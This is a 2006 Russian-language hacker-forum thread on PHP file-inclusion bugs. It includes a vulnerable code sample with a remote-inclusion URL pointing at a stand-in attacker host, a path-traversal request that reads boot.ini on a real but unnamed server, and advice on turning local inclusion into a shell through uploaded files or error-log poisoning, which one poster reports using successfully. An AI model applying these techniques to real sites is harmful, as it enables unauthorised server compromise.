PDA

Просмотр полной версии : Вопрос о PHP-инклюдинге


piton3000
04.12.2006, 01:01
Если скрипт воспринимает только одну переменную методом GET, и обрабатывает ее следующим способом:


if ($a=="abc"){include "abcd.php";}
if ($a=="asd"){include "qwe.php";}

все, больше никаких действий с этой переменной не производится

GreenBear
04.12.2006, 01:04
нет.

r0
04.12.2006, 01:06
Возможен. проиклудятся файлы: qwe.php || abcd.php . =}

_Great_
04.12.2006, 01:11
Баги только там, где ты можешь повлиять на аргументы функций include и подобных.
Тут аргумент - строка, менять которую ты не можешь

ettee
04.12.2006, 01:31
Бажный пример:

if ($exec=='main.php' && file_exists("$themedir/main.php"))
include "$themedir/main.php";
else include $exec;

index.php?exec=http://attacker.com/evilcode.txt?

Soul Linker
07.12.2006, 12:44
В продолжении темы...
Есть бажный срипт, который позволяет подключать любые локальные файлы. Можно шелл сделать там?
http:*/нискажу-сайт.com/бажный-скрипт.php?str=../../../../../../boot.ini

[boot loader] timeout=0 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOW S [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard RU" /noexecute=optout /fastdetect

m0nzt3r
07.12.2006, 15:26
при наличии локального инклуда шелл можно сделать так:
Залить на сайт (если есть форма где-то) файл любого типа с шелл-ным содержанием,а потом через проинклудить его..выполнится код =) Или оставляем злой запрос в еррор_лог-е и путем ручного перебора пути инклудим еррор_лог =)

Soul Linker
07.12.2006, 16:24
На счет заливания аватара с "хитрым" содержимым я догадался, там стоит vbulletin 3.5.4, не могу найти куда льет...
А на счет error.log это спасибо... пример запроса бы еще, буду премного благодарен.

Abra
07.12.2006, 16:53
Вбуллитин льет в базу, а не в файловую систему.
Посмотри пути к аватаркам, вложениями, и прочему на форуме. Админ мог переключить настройки в файловую систему, тогда, возможно, прокатит. Но ВБ - форум не дурак. Он вроде как содержимое вкладываемых файлов смотрит (могу ошибаться.)

Soul Linker
07.12.2006, 19:08
Проинклудил через лог :D всем спасибо
зы InetCrack - вещь! :)

kirbak
07.12.2006, 19:49
Можно ещё так - :)
<?php
$page = &$_GET['page'];

switch ($page) {
case "about":
$page = "about.txt";
break;
case "test":
$page = "test.txt";
break;
default:
$page = "default.txt";
}

$file = getcwd()."/text/".$page;

if ($page && is_file($file)) {require($file);}
?>

m0nzt3r
07.12.2006, 20:18
Сказал, что уже вопрос решен.Нафиг ваще свои знания здесь демонстрировать?